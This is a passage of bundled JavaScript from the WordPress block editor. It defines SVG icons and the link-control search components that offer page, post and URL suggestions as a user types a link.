18833var plus_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) });
18834
18835
18836;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/search-create-button.js
18837
18838
18839
18840
18841
18842const LinkControlSearchCreate = ({
18843 searchTerm,
18844 onClick,
18845 itemProps,
18846 buttonText
18847}) => {
18848 if (!searchTerm) {
18849 return null;
18850 }
18851 let text;
18852 if (buttonText) {
18853 text = typeof buttonText === "function" ? buttonText(searchTerm) : buttonText;
18854 } else {
18855 text = (0,external_wp_element_namespaceObject.createInterpolateElement)(
18856 (0,external_wp_i18n_namespaceObject.sprintf)(
18857 /* translators: %s: search term. */
18858 (0,external_wp_i18n_namespaceObject.__)("Create: <mark>%s</mark>"),
18859 searchTerm
18860 ),
18861 { mark: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("mark", {}) }
18862 );
18863 }
18864 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18865 external_wp_components_namespaceObject.MenuItem,
18866 {
18867 ...itemProps,
18868 iconPosition: "left",
18869 icon: plus_default,
18870 className: "block-editor-link-control__search-item",
18871 onClick,
18872 children: text
18873 }
18874 );
18875};
18876var search_create_button_default = LinkControlSearchCreate;
18877
18878
18879;// ./node_modules/@wordpress/icons/build-module/library/post-list.js
18880
18881
18882var post_list_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 5.5H6a.5.5 0 0 0-.5.5v12a.5.5 0 0 0 .5.5h12a.5.5 0 0 0 .5-.5V6a.5.5 0 0 0-.5-.5ZM6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2Zm1 5h1.5v1.5H7V9Zm1.5 4.5H7V15h1.5v-1.5ZM10 9h7v1.5h-7V9Zm7 4.5h-7V15h7v-1.5Z" }) });
18883
18884
18885;// ./node_modules/@wordpress/icons/build-module/library/page.js
18886
18887
18888var page_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
18889 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z" }),
18890 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z" })
18891] });
18892
18893
18894;// ./node_modules/@wordpress/icons/build-module/library/tag.js
18895
18896
18897var tag_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z" }) });
18898
18899
18900;// ./node_modules/@wordpress/icons/build-module/library/category.js
18901
18902
18903var category_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18904 external_wp_primitives_namespaceObject.Path,
18905 {
18906 d: "M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z",
18907 fillRule: "evenodd",
18908 clipRule: "evenodd"
18909 }
18910) });
18911
18912
18913;// ./node_modules/@wordpress/icons/build-module/library/file.js
18914
18915
18916var file_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18917 external_wp_primitives_namespaceObject.Path,
18918 {
18919 fillRule: "evenodd",
18920 clipRule: "evenodd",
18921 d: "M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z"
18922 }
18923) });
18924
18925
18926;// ./node_modules/@wordpress/icons/build-module/library/globe.js
18927
18928
18929var globe_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8Zm6.5 8c0 .6 0 1.2-.2 1.8h-2.7c0-.6.2-1.1.2-1.8s0-1.2-.2-1.8h2.7c.2.6.2 1.1.2 1.8Zm-.9-3.2h-2.4c-.3-.9-.7-1.8-1.1-2.4-.1-.2-.2-.4-.3-.5 1.6.5 3 1.6 3.8 3ZM12.8 17c-.3.5-.6 1-.8 1.3-.2-.3-.5-.8-.8-1.3-.3-.5-.6-1.1-.8-1.7h3.3c-.2.6-.5 1.2-.8 1.7Zm-2.9-3.2c-.1-.6-.2-1.1-.2-1.8s0-1.2.2-1.8H14c.1.6.2 1.1.2 1.8s0 1.2-.2 1.8H9.9ZM11.2 7c.3-.5.6-1 .8-1.3.2.3.5.8.8 1.3.3.5.6 1.1.8 1.7h-3.3c.2-.6.5-1.2.8-1.7Zm-1-1.2c-.1.2-.2.3-.3.5-.4.7-.8 1.5-1.1 2.4H6.4c.8-1.4 2.2-2.5 3.8-3Zm-1.8 8H5.7c-.2-.6-.2-1.1-.2-1.8s0-1.2.2-1.8h2.7c0 .6-.2 1.1-.2 1.8s0 1.2.2 1.8Zm-2 1.4h2.4c.3.9.7 1.8 1.1 2.4.1.2.2.4.3.5-1.6-.5-3-1.6-3.8-3Zm7.4 3c.1-.2.2-.3.3-.5.4-.7.8-1.5 1.1-2.4h2.4c-.8 1.4-2.2 2.5-3.8 3Z" }) });
18930
18931
18932;// ./node_modules/@wordpress/icons/build-module/library/home.js
18933
18934
18935var home_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z" }) });
18936
18937
18938;// ./node_modules/@wordpress/icons/build-module/library/verse.js
18939
18940
18941var verse_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z" }) });
18942
18943
18944;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/search-item.js
18945
18946
18947
18948
18949
18950
18951
18952
18953const TYPES = {
18954 post: {
18955 icon: post_list_default,
18956 label: (0,external_wp_i18n_namespaceObject.__)("Post")
18957 },
18958 page: {
18959 icon: page_default,
18960 label: (0,external_wp_i18n_namespaceObject.__)("Page")
18961 },
18962 post_tag: {
18963 icon: tag_default,
18964 label: (0,external_wp_i18n_namespaceObject.__)("Tag")
18965 },
18966 category: {
18967 icon: category_default,
18968 label: (0,external_wp_i18n_namespaceObject.__)("Category")
18969 },
18970 attachment: {
18971 icon: file_default,
18972 label: (0,external_wp_i18n_namespaceObject.__)("Attachment")
18973 }
18974};
18975function SearchItemIcon({ isURL, suggestion }) {
18976 let icon = null;
18977 if (isURL) {
18978 icon = globe_default;
18979 } else if (suggestion.type in TYPES) {
18980 icon = TYPES[suggestion.type].icon;
18981 if (suggestion.type === "page") {
18982 if (suggestion.isFrontPage) {
18983 icon = home_default;
18984 }
18985 if (suggestion.isBlogHome) {
18986 icon = verse_default;
18987 }
18988 }
18989 }
18990 if (icon) {
18991 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18992 icon_default,
18993 {
18994 className: "block-editor-link-control__search-item-icon",
18995 icon
18996 }
18997 );
18998 }
18999 return null;
19000}
19001function addLeadingSlash(url) {
19002 const trimmedURL = url?.trim();
19003 if (!trimmedURL?.length) {
19004 return url;
19005 }
19006 return url?.replace(/^\/?/, "/");
19007}
19008function removeTrailingSlash(url) {
19009 const trimmedURL = url?.trim();
19010 if (!trimmedURL?.length) {
19011 return url;
19012 }
19013 return url?.replace(/\/$/, "");
19014}
19015const partialRight = (fn, ...partialArgs) => (...args) => fn(...args, ...partialArgs);
19016const defaultTo = (d) => (v) => {
19017 return v === null || v === void 0 || v !== v ? d : v;
19018};
19019function getURLForDisplay(url) {
19020 if (!url) {
19021 return url;
19022 }
19023 return (0,external_wp_compose_namespaceObject.pipe)(
19024 external_wp_url_namespaceObject.safeDecodeURI,
19025 external_wp_url_namespaceObject.getPath,
19026 defaultTo(""),
19027 partialRight(external_wp_url_namespaceObject.filterURLForDisplay, 24),
19028 removeTrailingSlash,
19029 addLeadingSlash
19030 )(url);
19031}
19032const LinkControlSearchItem = ({
19033 itemProps,
19034 suggestion,
19035 searchTerm,
19036 onClick,
19037 isURL = false,
19038 shouldShowType = false
19039}) => {
19040 const info = isURL ? (0,external_wp_i18n_namespaceObject.__)("Press ENTER to add this link") : getURLForDisplay(suggestion.url);
19041 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19042 external_wp_components_namespaceObject.MenuItem,
19043 {
19044 ...itemProps,
19045 info,
19046 iconPosition: "left",
19047 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SearchItemIcon, { suggestion, isURL }),
19048 onClick,
19049 shortcut: shouldShowType && getVisualTypeName(suggestion),
19050 className: "block-editor-link-control__search-item",
19051 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19052 external_wp_components_namespaceObject.TextHighlight,
19053 {
19054 text: (0,external_wp_dom_namespaceObject.__unstableStripHTML)(suggestion.title),
19055 highlight: searchTerm
19056 }
19057 )
19058 }
19059 );
19060};
19061function getVisualTypeName(suggestion) {
19062 if (suggestion.isFrontPage) {
19063 return (0,external_wp_i18n_namespaceObject.__)("Front page");
19064 }
19065 if (suggestion.isBlogHome) {
19066 return (0,external_wp_i18n_namespaceObject.__)("Blog home");
19067 }
19068 if (suggestion.type in TYPES) {
19069 return TYPES[suggestion.type].label;
19070 }
19071 return suggestion.type;
19072}
19073var search_item_default = LinkControlSearchItem;
19074const __experimentalLinkControlSearchItem = (props) => {
19075 external_wp_deprecated_default()("wp.blockEditor.__experimentalLinkControlSearchItem", {
19076 since: "6.8"
19077 });
19078 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LinkControlSearchItem, { ...props });
19079};
19080
19081
19082;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/constants.js
19083
19084const CREATE_TYPE = "__CREATE__";
19085const TEL_TYPE = "tel";
19086const URL_TYPE = "link";
19087const MAILTO_TYPE = "mailto";
19088const INTERNAL_TYPE = "internal";
19089const LINK_ENTRY_TYPES = [
19090 URL_TYPE,
19091 MAILTO_TYPE,
19092 TEL_TYPE,
19093 INTERNAL_TYPE
19094];
19095const DEFAULT_LINK_SETTINGS = [
19096 {
19097 id: "opensInNewTab",
19098 title: (0,external_wp_i18n_namespaceObject.__)("Open in new tab")
19099 }
19100];
19101
19102
19103;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/search-results.js
19104
19105
19106
19107
19108
19109
19110
19111
19112function LinkControlSearchResults({
19113 withCreateSuggestion,
19114 currentInputValue,
19115 handleSuggestionClick,
19116 suggestionsListProps,
19117 buildSuggestionItemProps,
19118 suggestions,
19119 selectedSuggestion,
19120 isLoading,
19121 isInitialSuggestions,
19122 createSuggestionButtonText,
19123 suggestionsQuery
19124}) {
19125 const resultsListClasses = dist_clsx(
19126 "block-editor-link-control__search-results",
19127 {
19128 "is-loading": isLoading
19129 }
19130 );
19131 const isSingleDirectEntryResult = suggestions.length === 1 && LINK_ENTRY_TYPES.includes(suggestions[0].type);
19132 const shouldShowCreateSuggestion = withCreateSuggestion && !isSingleDirectEntryResult && !isInitialSuggestions;
19133 const shouldShowSuggestionsTypes = !suggestionsQuery?.type;
19134 const labelText = isInitialSuggestions ? (0,external_wp_i18n_namespaceObject.__)("Suggestions") : (0,external_wp_i18n_namespaceObject.sprintf)(
19135 /* translators: %s: search term. */
19136 (0,external_wp_i18n_namespaceObject.__)('Search results for "%s"'),
19137 currentInputValue
19138 );
19139 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-link-control__search-results-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19140 "div",
19141 {
19142 ...suggestionsListProps,
19143 className: resultsListClasses,
19144 "aria-label": labelText,
19145 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: suggestions.map((suggestion, index) => {
19146 if (shouldShowCreateSuggestion && CREATE_TYPE === suggestion.type) {
19147 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19148 search_create_button_default,
19149 {
19150 searchTerm: currentInputValue,
19151 buttonText: createSuggestionButtonText,
19152 onClick: () => handleSuggestionClick(suggestion),
19153 itemProps: buildSuggestionItemProps(
19154 suggestion,
19155 index
19156 ),
19157 isSelected: index === selectedSuggestion
19158 },
19159 suggestion.type
19160 );
19161 }
19162 if (CREATE_TYPE === suggestion.type) {
19163 return null;
19164 }
19165 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19166 search_item_default,
19167 {
19168 itemProps: buildSuggestionItemProps(
19169 suggestion,
19170 index
19171 ),
19172 suggestion,
19173 index,
19174 onClick: () => {
19175 handleSuggestionClick(suggestion);
19176 },
19177 isSelected: index === selectedSuggestion,
19178 isURL: LINK_ENTRY_TYPES.includes(
19179 suggestion.type
19180 ),
19181 searchTerm: currentInputValue,
19182 shouldShowType: shouldShowSuggestionsTypes,
19183 isFrontPage: suggestion?.isFrontPage,
19184 isBlogHome: suggestion?.isBlogHome
19185 },
19186 `${suggestion.id}-${suggestion.type}`
19187 );
19188 }) })
19189 }
19190 ) });
19191}
19192var search_results_default = LinkControlSearchResults;
19193const __experimentalLinkControlSearchResults = (props) => {
19194 external_wp_deprecated_default()("wp.blockEditor.__experimentalLinkControlSearchResults", {
19195 since: "6.8"
19196 });
19197 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LinkControlSearchResults, { ...props });
19198};
19199
19200
19201;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/is-url-like.js
19202
19203function isURLLike(val) {
19204 const hasSpaces = val.includes(" ");
19205 if (hasSpaces) {
19206 return false;
19207 }
19208 const protocol = (0,external_wp_url_namespaceObject.getProtocol)(val);
19209 const protocolIsValid = (0,external_wp_url_namespaceObject.isValidProtocol)(protocol);
19210 const mayBeTLD = hasPossibleTLD(val);
19211 const isWWW = val?.startsWith("www.");
19212 const isInternal = val?.startsWith("#") && (0,external_wp_url_namespaceObject.isValidFragment)(val);
19213 return protocolIsValid || isWWW || isInternal || mayBeTLD;
19214}
19215function hasPossibleTLD(url, maxLength = 6) {
19216 const cleanedURL = url.split(/[?#]/)[0];
19217 const regex = new RegExp(
19218 `(?<=\\S)\\.(?:[a-zA-Z_]{2,${maxLength}})(?:\\/|$)`
19219 );
19220 return regex.test(cleanedURL);
19221}
19222
19223
19224;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/use-search-handler.js
19225
19226
19227
19228
19229
19230
19231const handleNoop = () => Promise.resolve([]);
19232const handleDirectEntry = (val) => {
19233 let type = URL_TYPE;
19234 const protocol = (0,external_wp_url_namespaceObject.getProtocol)(val) || "";
19235 if (protocol.includes("mailto")) {
19236 type = MAILTO_TYPE;
19237 }
19238 if (protocol.includes("tel")) {
19239 type = TEL_TYPE;
19240 }
19241 if (val?.startsWith("#")) {
19242 type = INTERNAL_TYPE;
19243 }
19244 return Promise.resolve([
19245 {
19246 id: val,
19247 title: val,
19248 url: type === "URL" ? (0,external_wp_url_namespaceObject.prependHTTP)(val) : val,
19249 type
19250 }
19251 ]);
19252};
19253const handleEntitySearch = async (val, suggestionsQuery, fetchSearchSuggestions, withCreateSuggestion, pageOnFront, pageForPosts) => {
19254 const { isInitialSuggestions } = suggestionsQuery;
19255 const results = await fetchSearchSuggestions(val, suggestionsQuery);
19256 results.map((result) => {
19257 if (Number(result.id) === pageOnFront) {
19258 result.isFrontPage = true;
19259 return result;
19260 } else if (Number(result.id) === pageForPosts) {
19261 result.isBlogHome = true;
19262 return result;
19263 }
19264 return result;
19265 });
19266 if (isInitialSuggestions) {
19267 return results;
19268 }
19269 return isURLLike(val) || !withCreateSuggestion ? results : results.concat({
19270 // the `id` prop is intentionally omitted here because it
19271 // is never exposed as part of the component's public API.
19272 // see: https://github.com/WordPress/gutenberg/pull/19775#discussion_r378931316.
19273 title: val,
19274 // Must match the existing `<input>`s text value.
19275 url: val,
19276 // Must match the existing `<input>`s text value.
19277 type: CREATE_TYPE
19278 });
19279};
19280function useSearchHandler(suggestionsQuery, allowDirectEntry, withCreateSuggestion) {
19281 const { fetchSearchSuggestions, pageOnFront, pageForPosts } = (0,external_wp_data_namespaceObject.useSelect)(
19282 (select) => {
19283 const { getSettings } = select(store);
19284 return {
19285 pageOnFront: getSettings().pageOnFront,
19286 pageForPosts: getSettings().pageForPosts,
19287 fetchSearchSuggestions: getSettings().__experimentalFetchLinkSuggestions
19288 };
19289 },
19290 []
19291 );
19292 const directEntryHandler = allowDirectEntry ? handleDirectEntry : handleNoop;
19293 return (0,external_wp_element_namespaceObject.useCallback)(
19294 (val, { isInitialSuggestions }) => {
19295 return isURLLike(val) ? directEntryHandler(val, { isInitialSuggestions }) : handleEntitySearch(
19296 val,
19297 { ...suggestionsQuery, isInitialSuggestions },
19298 fetchSearchSuggestions,
19299 withCreateSuggestion,
19300 pageOnFront,
19301 pageForPosts
19302 );
19303 },
19304 [
19305 directEntryHandler,
19306 fetchSearchSuggestions,
19307 pageOnFront,
19308 pageForPosts,
19309 suggestionsQuery,
19310 withCreateSuggestion
19311 ]
19312 );
19313}
19314
19315
19316;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/search-input.js
19317
19318
19319
19320
19321
19322
19323
19324
19325const noopSearchHandler = () => Promise.resolve([]);
19326const noop = () => {
19327};
19328const LinkControlSearchInput = (0,external_wp_element_namespaceObject.forwardRef)(
19329 ({
19330 value,
19331 children,
19332 currentLink = {},
19333 className = null,
19334 placeholder = null,
19335 withCreateSuggestion = false,
19336 onCreateSuggestion = noop,
19337 onChange = noop,
19338 onSelect = noop,
19339 showSuggestions = true,
19340 renderSuggestions = (props) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(search_results_default, { ...props }),
19341 fetchSuggestions = null,
19342 allowDirectEntry = true,
19343 showInitialSuggestions = false,
19344 suggestionsQuery = {},
19345 withURLSuggestion = true,
19346 createSuggestionButtonText,
19347 hideLabelFromVision = false,
19348 suffix,
19349 isEntity = false
19350 }, ref) => {
19351 const genericSearchHandler = useSearchHandler(
19352 suggestionsQuery,
19353 allowDirectEntry,
19354 withCreateSuggestion,
19355 withURLSuggestion
19356 );
19357 const searchHandler = showSuggestions ? fetchSuggestions || genericSearchHandler : noopSearchHandler;
19358 const [focusedSuggestion, setFocusedSuggestion] = (0,external_wp_element_namespaceObject.useState)();
19359 const onInputChange = (selection, suggestion) => {
19360 onChange(selection);
19361 setFocusedSuggestion(suggestion);
19362 };
19363 const handleRenderSuggestions = (props) => renderSuggestions({
19364 ...props,
19365 withCreateSuggestion,
19366 createSuggestionButtonText,
19367 suggestionsQuery,
19368 handleSuggestionClick: (suggestion) => {
19369 if (props.handleSuggestionClick) {
19370 props.handleSuggestionClick(suggestion);
19371 }
19372 onSuggestionSelected(suggestion);
19373 }
19374 });
19375 const onSuggestionSelected = async (selectedSuggestion) => {
19376 let suggestion = selectedSuggestion;
19377 if (CREATE_TYPE === selectedSuggestion.type) {
19378 try {
19379 suggestion = await onCreateSuggestion(
19380 selectedSuggestion.title
19381 );
19382 if (suggestion?.url) {
19383 onSelect(suggestion);
19384 }
19385 } catch (e) {
19386 }
19387 return;
19388 }
19389 if (allowDirectEntry || suggestion && Object.keys(suggestion).length >= 1) {
19390 const { id, url, ...restLinkProps } = currentLink ?? {};
19391 onSelect(
19392 // Some direct entries don't have types or IDs, and we still need to clear the previous ones.
19393 { ...restLinkProps, ...suggestion },
19394 suggestion
19395 );
19396 }
19397 };
19398 const _placeholder = placeholder ?? (0,external_wp_i18n_namespaceObject.__)("Search or type URL");
19399 const label = hideLabelFromVision && placeholder !== "" ? _placeholder : (0,external_wp_i18n_namespaceObject.__)("Link");
19400 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-link-control__search-input-container", children: [
19401 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19402 url_input_default,
19403 {
19404 disableSuggestions: currentLink?.url === value,
19405 label,
19406 hideLabelFromVision,
19407 className,
19408 value,
19409 onChange: onInputChange,
19410 placeholder: _placeholder,
19411 __experimentalRenderSuggestions: showSuggestions ? handleRenderSuggestions : null,
19412 __experimentalFetchLinkSuggestions: searchHandler,
19413 __experimentalHandleURLSuggestions: true,
19414 __experimentalShowInitialSuggestions: showInitialSuggestions,
19415 onSubmit: (suggestion, event) => {
19416 const hasSuggestion = suggestion || focusedSuggestion;
19417 if (!hasSuggestion && !value?.trim()?.length) {
19418 event.preventDefault();
19419 } else {
19420 onSuggestionSelected(
19421 hasSuggestion || { url: value }
19422 );
19423 }
19424 },
19425 inputRef: ref,
19426 suffix,
19427 disabled: isEntity
19428 }
19429 ),
19430 children
19431 ] });
19432 }
19433);
19434var search_input_default = LinkControlSearchInput;
19435const __experimentalLinkControlSearchInput = (props) => {
19436 external_wp_deprecated_default()("wp.blockEditor.__experimentalLinkControlSearchInput", {
19437 since: "6.8"
19438 });
19439 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LinkControlSearchInput, { ...props });
19440};
19441
19442
19443;// ./node_modules/@wordpress/icons/build-module/library/info.js
19444
19445
19446var info_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19447 external_wp_primitives_namespaceObject.Path,
19448 {
19449 fillRule: "evenodd",
19450 clipRule: "evenodd",
19451 d: "M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z"
19452 }
19453) });
19454
19455
19456;// ./node_modules/@wordpress/icons/build-module/library/pencil.js
19457
19458
19459var pencil_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z" }) });
19460
19461
19462;// ./node_modules/@wordpress/icons/build-module/library/copy-small.js
19463
19464
19465var copy_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19466 external_wp_primitives_namespaceObject.Path,
19467 {
19468 fillRule: "evenodd",
19469 clipRule: "evenodd",
19470 d: "M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z"
19471 }
19472) });
19473
19474
19475;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/viewer-slot.js
19476
19477const { Slot: ViewerSlot, Fill: ViewerFill } = (0,external_wp_components_namespaceObject.createSlotFill)(
19478 "BlockEditorLinkControlViewer"
19479);
19480var viewer_slot_default = (/* unused pure expression or super */ null && (ViewerSlot));
19481
19482
19483;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/use-rich-url-data.js
19484
19485
19486
19487function reducer(state, action) {
19488 switch (action.type) {
19489 case "RESOLVED":
19490 return {
19491 ...state,
19492 isFetching: false,
19493 richData: action.richData
19494 };
19495 case "ERROR":
19496 return {
19497 ...state,
19498 isFetching: false,
19499 richData: null
19500 };
19501 case "LOADING":
19502 return {
19503 ...state,
19504 isFetching: true
19505 };
19506 default:
19507 throw new Error(`Unexpected action type ${action.type}`);
19508 }
19509}
19510function useRemoteUrlData(url) {
19511 const [state, dispatch] = (0,external_wp_element_namespaceObject.useReducer)(reducer, {
19512 richData: null,
19513 isFetching: false
19514 });
19515 const { fetchRichUrlData } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
